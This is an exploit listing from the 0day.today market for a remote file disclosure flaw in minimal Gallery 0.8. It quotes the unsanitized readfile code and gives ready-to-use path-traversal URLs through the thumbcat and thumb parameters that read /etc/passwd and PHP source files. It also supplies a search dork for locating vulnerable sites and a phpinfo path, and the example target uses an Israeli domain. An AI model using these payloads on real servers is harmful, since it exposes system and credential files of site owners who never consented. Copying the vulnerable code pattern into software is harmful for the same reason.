[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

minimal Gallery 0.8 Remote File Disclosure Vulnerability

Author
Houssamix
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-2492
Category
web applications
Date add
12-01-2008
Platform
unsorted
========================================================
minimal Gallery 0.8 Remote File Disclosure Vulnerability
========================================================



# Script : minimal Gallery 0.8                                                  
# Download : http://minimaldesign.net/downloads/projects/minimal-gallery                         
# BUG :  Remote File Disclosure Vulnerability  
# Dork : powered by minimal Gallery 0.8
         
## Vulnerable CODE :
~~~~~~~~~ /_mg/php/mg_thumbs.php ~~~~~~~~~~~~~~~~~
readfile("../$thumbs_dir/$thumbcat$thumb");

the variables thumbcat & thumb are defined in page mg_thumbs.php like that : 
$thumbcat = $_GET['thumbcat'];
$thumb = $_GET['thumb'];
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~		 

# Exploit : 

[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumbcat=../../../../../../etc/passwd
[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumbcat=../../../../../../[file].php

[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumb=../../../../../../etc/passwd
[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumb=../../../../../../[file].php


# phpinfo(); View >> [Target.il]/[Path_mGallery]/php_info.php


# greezt :  coNan , GoLd_M , RoMaNcYxHaCkEr , Rachidox ,  and all muslims Hackers 

######################################################################################
#              H-T TeaM {HouSSaMix _ ToXiC350}  from MoRoCCo                         #
######################################################################################



#  0day.today [2024-12-25]  #